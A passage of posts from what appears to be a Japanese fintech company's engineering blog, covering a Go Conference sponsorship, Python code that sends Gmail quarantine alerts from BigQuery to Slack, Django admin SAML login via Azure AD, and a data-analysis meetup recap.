全てのテストを無闇に並行化するべきという主張ではありません。テスト並行化は、そのメリットとデメリットを理解し、チーム全体でその導入の是非を検討することが重要です。

カンムは Go Conference 2023 にプラチナGoルドスポンサーとして協賛します

カンムは 2023年6月2日 (金) 開催の Go Conference 2023 にプラチナGoルドスポンサーとして協賛します。

gocon.jp

カンムが提供している バンドルカードPool のバックエンドは主に Go で開発しており、このイベントを通して Go コミュニティの発展に寄与できればと思っています。

team.kanmu.co.jp

セッションに登壇します

今回の GoCon では、Pool のエンジニアである @sho_hata_ がセッションに登壇します! 以下スケジュールで登壇するので、ぜひご覧ください。

10:30 無理なく始めるGoでのユニットテストの並行化戦略 @sho_hata_

gocon.jp

オフィスアワーで CTF を開催します

イベント当日は reBako にてオフィスアワーを実施します。カンムのブースでは毎度恒例になりつつある CTF の出題をします。 お昼ごろに問題を公開予定ですので楽しみにしてください!

また過去の出題も楽しいものばかりですのでご興味ある方はぜひ!

このほかにも

  • カンムやバンドルカード・Pool について聞いてみたい!
  • 登壇していたエンジニアと話してみたい!
  • Go についてわいわい話したい!

などなども大歓迎です!ぜひ reBako のブースに遊びに来てみてください!

After Party もします

6月15日(木) 19:00から、スポンサー企業である「ミラティブ」「マネーフォワード」「ナレッジワーク」「カンム」の4社によるGo同勉強会を開催します。 Goに関するLTとGo Conference感想戦などを行いますのでこちらもぜひぜひご参加ください。

kanmu.connpass.com

当日 Gopher のみなさんとお会いできることを楽しみにしております👋

Gmail 管理者検疫に関するアラートをSlackへ通知させたい!

カンムでコーポレートエンジニアをやっているhikkyです。

今回セキュリティチームからの依頼で、GoogleWorkspace(以下GWS)の機能である 「高度なフィッシングと不正なソフトウェアへの対策」 という機能の一部を有効化しました。 しかしこの機能通知がメールのみのため、Slackへ通知させるということを行いました。
この時の内容をせっかくなので、ブログ記事にしてみます。

必要システム

この手順を実施するためには以下のシステムが必要です。

  • GoogleWorkspace Enterpriseエディション以上
  • Slack有料プラン
  • Google Cloud
  •   Cloud Functions
  •   Cloud Scheduler
  •    BigQuery
  • Python3

事前準備

Google Cloud設定

こちらのドキュメントを参考に、プロジェクトを設定します。 support.google.com

GWSのログをBigQueryへエクスポート設定

GWSのプランがEnterprise以上の場合、GWSのログをBigQueryにエクスポートすることができます。
通常GWSのログは6ヶ月しか残すことができませんが、BigQueryにエクスポートすることで長期間ログの保存が可能になり、クエリでログを検索することができるようになります。

  • GWS管理コンソールへアクセスします。
  • 「レポート」→「BigQuery Export」を開きます。
  • Google BigQueryへのGoogle Workspaceデータのエクスポートを有効にします」にチェックを入れます。
  • 事前に設定した、GCPプロジェクトID、任意のデータセット名、ロケーション制限を設定し、【保存】をクリックします。

設定してから反映されるまでに、最大48時間かかることがあるため、しばらく待ちます。

設定したGCPプロジェクトのBigQueryを開き、データセットが作成されたかを確認します。
(ここでのデータセット名はgwslogです)
データセット下に、activityとusageが表示されていればOKです。
ただしデータが実際に流れてくるまでに時間がかかることがあるようです。

データが入ってきたかは、各テーブルでプレビューを表示させることで判断できます。

サンプルクエリの実行

BigQueryにGWSログデータが流れてきたことが確認できたら、サンプルクエリを実行して確認してみます。
こちらのページ にクエリ例が掲載されているので、試しに特権管理者の数を出力するクエリを実行してみます。

SELECT COUNT(DISTINCT user_email) as number_of_super_admins, date
FROM api_project_name.dataset_name.usage
WHERE accounts.is_super_admin = TRUE
GROUP BY 2
ORDER BY 2 DESC;

以下のような結果が返ってきて、日付単位での増減がわかりますね。

GWSメール検疫を設定する

  • GWS管理コンソールへアクセスします。
  • 「アプリ」→「Google Workspace」→「Gmail」→「検疫の管理」を開きます。
  • 【検疫の追加】をクリックします。 検疫されたメールを確認できるグループを指定したいので、Defaultを利用せず新しい検疫を追加します。 GWSでグループを作成し、検疫確認を実施するメンバーをグループに追加します。 【グループを管理】検疫確認を行うグループを設定します。

「メールが検疫されたときに定期的に通知する」にチェックをつけて保存します。

BigQueryで検疫されたメールを出力する

当初以下のようなクエリで一覧が取得できると思ったのですが、処理容量が大きく、課金額も大きくなってしまうため、処理容量を減らす必要があります。

SELECT TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) as timestamp,
     gmail.message_info.subject,
     gmail.message_info.source.address as source,
     gmail.message_info.source.from_header_address as st_address,
     gmail.message_info.source.from_header_displayname as displayname,
     destination.address as destination,
     gmail.message_info.rfc2822_message_id
FROM gwslog.activity d, d.gmail.message_info.destination
WHERE
     EXISTS(SELECT 1 FROM d.gmail.message_info.triggered_rule_info ri, ri.consequence
          WHERE consequence.action = 3)
     AND TIMESTAMP_MICROS(gmail.event_info.timestamp_usec) >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 12 HOUR)
ORDER BY
  timestamp DESC;

必要なテーブルの詳細を確認すると、日分割テーブルとなっていました。

そのためリアルタイムでの通知は諦めて、一日一回の通知だけをさせる方針としました。 修正したクエリは以下です。

SELECT
    FORMAT_TIMESTAMP('%Y-%m-%dT%H:%M:%S%z', TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), 'Asia/Tokyo') as timestamp,
    gmail.message_info.subject,
    gmail.message_info.source.address as source,
    gmail.message_info.source.from_header_address as source_address,
    gmail.message_info.source.from_header_displayname as displayname,
    destination.address as destination,
    gmail.message_info.rfc2822_message_id
FROM 
    `{os.environ["PROJECT_ID"]}.{os.environ["DATASET_ID"]}.{os.environ["TABLE_ID"]}`,
    UNNEST(gmail.message_info.destination) as destination
WHERE 
    _PARTITIONTIME = TIMESTAMP(TIMESTAMP_SUB(CURRENT_DATE(), INTERVAL 1 DAY))
    AND EXISTS (
        SELECT 1
        FROM UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c
        WHERE c.action = 3
    )

Slackへ通知する

Cloud Functionsの設定

以下のようなpythonスクリプトを作成して、Cloud Functionsにデプロイします。

import os
import json
import requests
from google.cloud import bigquery
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError

def query_to_slack(request, context):

    # Create BigQuery client
    client = bigquery.Client()

    # Define the query
    query = f"""
        SELECT
            FORMAT_TIMESTAMP('%Y-%m-%dT%H:%M:%S%z', TIMESTAMP_MICROS(gmail.event_info.timestamp_usec), 'Asia/Tokyo') as timestamp,
            gmail.message_info.subject,
            gmail.message_info.source.address as source,
            gmail.message_info.source.from_header_address as source_address,
            gmail.message_info.source.from_header_displayname as displayname,
            destination.address as destination,
            gmail.message_info.rfc2822_message_id
        FROM 
            `{os.environ["PROJECT_ID"]}.{os.environ["DATASET_ID"]}.{os.environ["TABLE_ID"]}`,
            UNNEST(gmail.message_info.destination) as destination
        WHERE 
            _PARTITIONTIME = TIMESTAMP(TIMESTAMP_SUB(CURRENT_DATE(), INTERVAL 1 DAY))
            AND EXISTS (
                SELECT 1
                FROM UNNEST(gmail.message_info.triggered_rule_info) ri, UNNEST(ri.consequence) c
                WHERE c.action = 3
            )
    """

    # Execute the query
    query_job = client.query(query)
    results = query_job.result()

    if ( results.total_rows > 0 ):
        #クエリ結果が1件以上あった場合にSlack通知
        send_slack_notification(results)


def format_results(results):
    blocks = []
    blocks.append({
            "type": "section",
            "text": {
                "type": "mrkdwn",
                "text": "検疫されたメールがあります。\n"
            }
        })
    for result in results:
        blocks.append({
            "type": "section",
            "fields": [
                {
                    "type": "mrkdwn",
                    "text": f"*Timestamp:*\n{result['timestamp']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Subject:*\n{result['subject']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Source:*\n{result['source']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Source Address:*\n{result['source_address']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Display Name:*\n{result['displayname']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Destination:*\n{result['destination']}"
                },
                {
                    "type": "mrkdwn",
                    "text": f"*Message ID:*\n{result['rfc2822_message_id']}"
                }
            ]
        })
        blocks.append({
            "type": "divider"
        })
    return blocks

def send_slack_notification(results):
    client = WebClient(token=os.environ['SLACK_API_TOKEN'])

    try:
        response = client.chat_postMessage(
            channel="#nf-quarantined",
            text="Quarantined Email Notification",
            blocks=format_results(results)
        )
    except SlackApiError as e:
        print(f"Error sending message: {e}")

Cloud Schedulerを利用して定期実行させる

以下のドキュメントを参考に、Cloud Schedulerを利用して一日一回定期実行するように設定します。 cloud.google.com

実行結果の確認

検疫メールがある場合に、指定した時間になると以下のようなSlack通知がきます。

最後に

検疫機能便利ではあるのですが、指定ドメインを検疫対象から外すといったことができません。
そのため弊社で利用しているツールからの通知メールも入ってしまうことがあります。
メールをあまり見ないので、Slackへ通知させることで検疫されたメールがあると気づけるので便利になったのではないでしょうか?
GWSログをBigQueryにエクスポートすることで、ログをクエリで検索することができるようになるので色々と幅は広がりそうです。

Azure ADを利用したDjango adminのSAML認証

SREの菅原です。

カンムのサービスのバックエンドは基本的にGoで書かれているのですが、一部の内部向け管理画面はPythonフレームワークDjangoで作成されています。

スタッフがDjango adminページにログインして各種オペレーションを行うのですが、adminページにログインするためにはDjango adminのアカウントが必要です。

社内で使う各種サービスのアカウントは基本的にはAzure Active Directoryを使ったSSOで一元管理されていますが、管理用WebアプリはSAML対応の実装をしておらず、前段のロードバランサー(ALB)でOIDC認証しているものの、adminページ自体のアカウントは管理用Webアプリで追加しなければいけない状態でした。

管理用Webアプリが独自にアカウント管理してしまうと、個別にアカウントを作成する手間が増え、Azure ADでの一元管理のメリットも薄れてしまいます。そこで管理用WebアプリでSAML認証ができるように改修をすることにしました。

django-saml2-auth → djangosaml2

DjangoSAML対応にはいくつかライブラリが存在します。

最初はgrafana/django-saml2-authを使って実装を進めていたのですが、動作確認を行ったところ以下のIssueの問題が発生しました

github.com

問題の対応にはdjango-saml2-auth自体の改修が必要そうであり、アップストリームへの修正の反映には時間がかかりそうだったため、django-saml2-authの利用は諦めIssueのコメントで触れられているdjangosaml2を使った実装に切り替えました。

djangosaml2を使った実装

djangosaml2の利用方法はドキュメントに詳しく書かれています。
※Azure AD側の設定については省略

まずは必要なライブラリを追加。

# Dockerfile
apt install libxmlsec1-dev pkg-config  xmlsec1
# requirements.txt
djangosaml2==1.5.5

settings.pyは以下のように修正。

INSTALLED_APPS = [
    # ...
    "djangosaml2",
]

MIDDLEWARE = [
    # ...
    'djangosaml2.middleware.SamlSessionMiddleware',
]

AUTHENTICATION_BACKENDS = [
    "django.contrib.auth.backends.ModelBackend",
    #"djangosaml2.backends.Saml2Backend",
    "apps.auth.saml2.ModifiedSaml2Backend",
]

SESSION_COOKIE_SECURE = True
LOGIN_URL = "/saml2/login/"
LOGIN_REDIRECT_URL = '/admin'
SESSION_EXPIRE_AT_BROWSER_CLOSE = True
SAML_IGNORE_LOGOUT_ERRORS = True
SAML_DJANGO_USER_MAIN_ATTRIBUTE = "username"
SAML_CREATE_UNKNOWN_USER = True

SAML_ATTRIBUTE_MAPPING = {
     "name": ("username",),
     "emailAddress": ("email",),
     "givenName": ("first_name",),
     "surname": ("last_name",),
}

SAML_METADATA_URL = "https://login.microsoftonline.com/..."

SAML_CONFIG = {
    "entityid": "https://my-admin.example.com/saml2/acs/",
    "service": {
        "sp": {
            "endpoints": {
                "assertion_consumer_service": [
                    ("https://my-admin.example.com/saml2/acs/", saml2.BINDING_HTTP_POST),
                ],
                "single_logout_service": [
                    ("https://my-admin.example.com/saml2/ls/", saml2.BINDING_HTTP_REDIRECT),
                    ("https://my-admin.example.com/saml2/ls/post", saml2.BINDING_HTTP_POST),
                ],
            },
            "want_response_signed": False,
        },
    },
    "metadata": {
        "remote": [
            {"url": SAML_METADATA_URL},
        ],
    },
    # "debug": 1,
}

urls.pyには/saml2/のurlpatternsを追加。

urlpatterns = [
    # ...
    url(r'^saml2/', include("djangosaml2.urls")),
]

Saml2Backendの拡張

SAMLの認証用のバックエンドSaml2Backendをそのまま使ってログインすると、何の権限もないユーザーがDjangoに作成されるので、Saml2Backendを拡張しとりあえず必要な権限を付与したグループに新しいユーザーを所属させるようにしました。

from djangosaml2.backends import Saml2Backend

from django.contrib.auth.models import Group


class ModifiedSaml2Backend(Saml2Backend):
    def save_user(self, user, *args, **kwargs):
        user.save()
        user_group = Group.objects.get(name="default")
        user.groups.add(user_group)
        user.is_staff = True
        return super().save_user(user, *args, **kwargs)

以上の実装で https://my-admin.example.com/saml2/login からSAML認証でログインできるようになります。

ログイン画面の拡張

SAML認証でログインできるようにはなったのですが、このままだと既存のログイン画面からの導線がなく、URLを直接入力してログインしてもらう必要があります。 そこで、既存のログイン画面を拡張して「SAMLログイン」ボタンを追加しました。

Django adminのログインページをそのまま流用してテンプレートファイルを作成し、末尾に/saml2/loginに遷移するボタンのHTMLを追加します。

<!-- 
  Django adminのログインページと同じコード:
  https://github.com/django/django/blob/eafe1468d228e6f63d044f787a9ffec82ec22746/django/contrib/admin/templates/admin/login.html 
-->
<!-- (略) -->
</form>

<div class="submit-row">
  <input type="submit" value="SAML {% translate 'Log in' %}" onclick="location.href='/saml2/login'">
</div>

</div>
{% endblock %}

urlpatternsを修正し既存のログイン画面を新しいログイン画面で上書きします。

urlpatterns = [
    path(
        'admin/login/',
        auth_views.LoginView.as_view(
            template_name='login.html',
            extra_context={
                'title': _('Log in'),
                'site_header': admin.site.site_header,
            },
        ),
        name='login',
    ),
    # ...
]

若干無理矢理な実装ですが、既存のパスワードでのログイン方法からは移行しやすくなりました。

まとめ

DjangoSAML対応はなかなか情報がなく調査に苦労したのですが、現状は問題なく稼働しています。 ユーザーの属性ごとにグループや権限を分けるといった自動化はまだできていないのですが、それでもアカウント作成の手間は減らせました。

社内で利用するサービスではまだいくつかAzure ADによるSSOに対応できていない箇所があるので、同様にSSOの対応を進めていきたいところです。

「MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析」を開催しました

カンムの @fkubota です。

2023/1/26に株式会社Mobility Technologiesさま、コネヒト株式会社さまと合同で「MoT/コネヒト/Kanmu が語るプロダクト開発xデータ分析」というイベントを開催しました。ご参加いただいたみなさま、ありがとうございました!

kanmu.connpass.com

このイベントでは、実プロダクトに機械学習モデルを用いて機能開発・改善を日々行っている3社の機械学習エンジニアが集まり、泥臭く改善を繰り返している現場の苦労や工夫、知見を共有しました。

セッションに登壇しました

弊社からは 僕(fkubota)が「データドリブンな組織の不正検知」というタイトルで登壇しました。

speakerdeck.com

この登壇の一番のメッセージは「あらゆる問題に対して、チームで泥臭く戦っている」というものでした。
タイトルにも記載したとおり、カンムの大半のメンバーがSQLを習得している等データドリブンな組織文化があるため、プロダクトの課題にたいして泥臭く取り組みやすいという点が特徴です。 そのような環境からの後押しを受け、不正利用という緊急に対応したい問題にもそれなりに早い速度で動けているなと、資料を作りながら改めて思いました。
Twitterで参加者のみなさんからの反応を見ても、社員のほとんどがSQLを書けるという部分に反響をいただいており、これは弊社の強みだなと感じています。
この強い文化に甘えず、また泥臭く結果を出していきたいものです。

パネルディスカッションを行いました

パネルディスカッションではMobility Technologiesの @kuto_bopro さん、コネヒトの @asteriam_fp さんを交え、各社の取り組みや知見について語り合いました。 3社それぞれ泥臭い現場の苦難、本やブログにはなかなか載せられない話を聞け、とても刺激的でした。

個人的には以下のような課題に対してどの会社も苦労してるんだなぁと思い、より良くするためにまた集まってディスカッションしたいと思っています。

  • ML評価指標とビジネスの接続
  • オフライン評価
  • ドキュメント管理、ダッシュボード管理(乱立しがち)

▼asteriam_fpさんとkuto_boproさんの登壇資料はこちら

speakerdeck.com

speakerdeck.com

最後に

実はこのイベント、飲み会から始まっています。 以前、データ分析・機械学習を用いてプロダクトの改善に取り組む共通の友人とオンライン飲み会を実施したのですが、これが大いに盛り上がり、その勢いで「オンラインイベントやっちまおうぜ」というノリでこのイベントを実施しました。

あらためましてイベントにご参加いただいたみなさま、またご一緒させていただいたMobility Technologiesさま、コネヒトさま、本当にありがとうございました! 表には出しづらい泥臭い取り組みは聞いてて楽しいし、お互いに刺さる部分が多いので、また似たようなテーマでイベントをやりたいですね。

そして、カンムでは機械学習エンジニアを大募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。

▼カジュアル面談申込みはこちらから

team.kanmu.co.jp

▼イベントの見逃し配信はこちらから視聴できます!

www.youtube.com